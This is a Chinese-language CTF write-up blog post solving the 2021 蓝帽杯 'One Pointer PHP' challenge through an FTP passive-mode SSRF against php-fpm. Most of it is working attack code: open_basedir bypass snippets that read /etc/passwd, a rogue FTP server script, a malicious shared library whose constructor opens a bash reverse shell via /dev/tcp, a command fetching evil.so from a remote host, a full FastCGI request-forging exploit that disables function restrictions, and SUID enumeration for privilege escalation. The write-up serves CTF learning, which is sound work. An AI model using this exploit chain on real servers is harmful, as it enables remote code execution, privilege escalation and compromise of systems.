从一道题看fastcgi与ssrf —— 蓝帽杯2021 One Pointer PHP

前言

当时2021年蓝帽杯(好像是初赛?)做的时候就好像没多看过这题,只了解到要打php-fpm,完全没想到可以用ftp来打。结果今年偶尔看到这道题发现还是不会呃呃了实属是一年又一年该不会还是不会。

这下长记性了

类似题目参考:[陇原战疫2021网络安全大赛] eaaasyphp

知识点

fastcgi与php-fpm

定义

百度百科给出的描述如下

公共网关接口(Common Gateway Interface,CGI)是Web 服务器运行时外部程序的规范,按CGI 编写的程序可以扩展服务器功能。CGI 应用程序能与浏览器进行交互,还可通过数据API与数据库服务器等外部数据源进行通信,从数据库服务器中获取数据。格式化为HTML文档后,发送给浏览器,也可以将从浏览器获得的数据放到数据库中。几乎所有服务器都支持CGI,可用任何语言编写CGI,包括流行的C、C ++、Java、VB 和Delphi 等。CGI分为标准CGI和间接CGI两种。标准CGI使用命令行参数或环境变量表示服务器的详细请求,服务器与浏览器通信采用标准输入输出方式。间接CGI又称缓冲CGI,在CGI程序和CGI接口之间插入一个缓冲程序,缓冲程序与CGI接口间用标准输入输出进行通信

图片来自参考链接(超级棒的图一眼就看懂了)

cgi

fastcgi

php-fpm 是用来调度、管理 php-cgi 的一个程序。

php-fpm 未授权访问攻击

浅析php-fpm的攻击方式 - 先知社区 (aliyun.com)

从一道CTF学习Fastcgi绕过姿势-安全客 - 安全资讯平台 (anquanke.com)

fastcgi的利用 php-fastcgi-remote-exploit.md

open_basedir 绕过

  1. 原生类+glob协议(只能列目录)

    PHP绕过open_basedir列目录的研究 | 离别歌 (leavesongs.com)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <?php
    $dir=new DirectoryIterator('glob:///*');
    foreach($dir as $d){
    echo $d->__toString().'</br>';
    }
    ?>
    <?php
    print_r(ini_get("open_basedir")."</br>");
    $dir=new FilesystemIterator('glob:///www/wwwroot/test/*');
    foreach($dir as $d){
    echo $d->__toString().'</br>';
    }
    ?>
  2. ini_set

    1
    mkdir('a');chdir('a');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/etc/hosts');
  3. symlink

    1
    2
    3
    4
    5
    mkdir("A");chdir("A");mkdir("B");chdir("B");mkdir("C");chdir("C");mkdir("D");chdir("D");
    symlink("A/B/C/D","test");
    symlink("test/../../../../etc/passwd","exp");
    unlink("test");
    mkdir("test");

    原理:test本来是符号链接 test->A/B/C/D exp->test/../../../../etc/passwd -> A/B/C/D/../../../../etc/passwd。

    但是unlink了test,再重新创建了test文件夹,exp就变成了 -> test/../../../../etc/passwd。

注:没禁 system 等直接执行命令的函数直接用

ftp协议导致的ssrf

FTP 支持两种模式,一种方式叫做 Standard(也就是 PORT 方式,主动方式),一种是 Passive(也就是PASV,被动方式)。 Standard 模式 FTP 的客户端发送 PORT 命令到 FTP 服务器。Passive 模式 FTP 的客户端发送 PASV 命令到 FTP 服务器。

PORT方式

ftp客户端与服务器连接在指定端口上(21),但是数据传输并不是在这个端口上。通信过程中会使用 PORT 指令协商一个新的端口。端口号由客户端指定,服务端用20端口连接到客户端指定的端口传输数据。

PASV被动方式

FTP 客户端和 FTP 服务器的 TCP 21 端口建立连接,但建立连接后发送 PASV 命令。FTP 服务器收到 PASV 命令后,随机打开一个高端口(端口号大于1024)并且通知客户端在这个端口上传送数据的请求。

在被动方式中,FTP 客户端和服务端的数据传输端口是由服务端指定

1
227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n

在这个过程中如果我们自己起一个恶意的服务端来指定客户端去连接到我们想要的 ip 与端口即可达成 ssrf 攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 23))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

当客户端连接到我们的服务器后,会被重定向到这里指定的ip与端口 (127,0,0,1,0,9001) 并且发送数据,成功达成 ssrf 目的。

1
2
3
4
5
6
<?php
$file = $_GET['file'];
$data = $_GET['data'];
file_put_contents($file,$data);
// file=ftp://aaa@ip:port/
// data=payload

加载恶意so扩展弹shell

1
2
3
4
5
6
7
8
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
}
1
gcc evil.c -fPIC -shared -o evil.so

suid 提权

懂得都懂 不多写了

1
find / -perm -u=s -type f 2>/dev/null

Linux SUID 提权 | Str3am’s Blog (jlkl.github.io)

整体流程总结

使用 file_put_contents 访问我们自己搭建的恶意 ftp 服务器,我们的 ftp 使用

1
227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n

来让他重定向到服务器上的 php-fpm 服务器来发送伪造的恶意请求,来加载上传的恶意扩展 .so 文件,然后弹 shell ,再 suid 提权。

writeup

溢出即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
$count[++$user->count]=1;
if($count[]=1){
$user->count+=1;
setcookie("data",serialize($user));
}else{
eval($_GET["backdoor"]);
}
}else{
$user=new User;
$user->count=1;
setcookie("data",serialize($user));
}
?>
//O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D

cookie设置为如上然后进入eval。

image-20220927132531619

一堆disable func

注意到如下信息

1
2
open_basedir:/var/www/html
php-fpm:active

利用 ini_set('open_basedir', ',,');chdir('..') 绕过

1
2
3
backdoor=mkdir('flag');chdir('flag');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));

backdoor=mkdir('flag');chdir('flag');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents("/flag"));

读不到flag,再看 /usr/local/etc/php/php.ini

打的时候发现报错是nginx的,顺便看一下nginx的配置文件,找到 fastcgi_pass 的端口

上传编译好的恶意so扩展文件

1
2
mkdir('flag');chdir('flag
');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');copy("http://xx.xx.xx.xx/evil.so","/tmp/evil.so");

然后就需要利用 php-fpm 伪造来加载我们的恶意 so,通过 PHP_VALUE 给 php.ini 添加一个 extender 扩展。

我们需要利用 ssrf 来攻击服务器上的 php-fpm ,但是这里的disablefunc太多。需要一个可以发送二进制包的协议,选择了ftp。

payload生成脚本 webcgi-exploits/fcgi_jailbreak.php at master · wofeiwo/webcgi-exploits (github.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <pierrick@webstart.fr>
* @version 1.0
*/
class FCGIClient
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
// $this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
echo('data='.urlencode($request));
// fwrite($this->_sock, $request);
// do {
// $resp = $this->readPacket();
// if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
// $response .= $resp['content'];
// }
// } while ($resp && $resp['type'] != self::END_REQUEST);
// var_dump($resp);
// if (!is_array($resp)) {
// throw new Exception('Bad request');
// }
// switch (ord($resp['content']{4})) {
// case self::CANT_MPX_CONN:
// throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
// break;
// case self::OVERLOADED:
// throw new Exception('New request rejected; too busy [OVERLOADED]');
// break;
// case self::UNKNOWN_ROLE:
// throw new Exception('Role value not known [UNKNOWN_ROLE]');
// break;
// case self::REQUEST_COMPLETE:
// return $response;
// }
}
}
?>
<?php
// real exploit start here
//if (!isset($_REQUEST['cmd'])) {
// die("Check your input\n");
//}
//if (!isset($_REQUEST['filepath'])) {
// $filepath = __FILE__;
//}else{
// $filepath = $_REQUEST['filepath'];
//}

$filepath = "/var/www/html/add_api.php"; // 目标主机已知的PHP文件的路径
$req = '/'.basename($filepath);
$uri = $req .'?'.'command=whoami';
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>";
$php_value = "unserialize_callback_func = system\nextension_dir = /tmp\nextension = evil.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = ";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => 'command=whoami',
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT' => '/',
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE' => 'aaa/bbb',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9001',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

本地开好恶意ftp server,然后打

1
backdoor=$file=$_GET['file'];$data = $_GET['data'];file_put_contents($file,$data);&file=ftp://aaa@ip:port/123&data=payload

ftp 被重定向到服务器的 127.0.0.1:9001,成功把伪造的请求发送给 php-fpm,加载了恶意 so 弹shell 成功。

最后 suid 提权,php 就有权限。php -a 交互模式读 flag 结束。

参考

这个最全最好 给我狠狠的看! 奇安信攻防社区-浅入深出 Fastcgi 协议分析与 PHP-FPM 攻击方法 (butian.net)

[蓝帽杯 2021]One Pointer PHP_w0s1np的博客-CSDN博客

两道CTF题–FTP被动模式打php-fpm_Z3eyOnd的博客-CSDN博客

从一道CTF学习Fastcgi绕过姿势-安全客 - 安全资讯平台 (anquanke.com)

webcgi-exploits/php-fastcgi-remote-exploit.md at master · wofeiwo/webcgi-exploits (github.com)

PHP-FPM && PHP-CGI && FASTCGI – h0cksr’s_Blog


从一道题看fastcgi与ssrf —— 蓝帽杯2021 One Pointer PHP
https://qiuye.ink/2022/09/27/CTF/web/从一道题看fastcgi与ssrf/
作者
Akiba
发布于
2022年9月27日
许可协议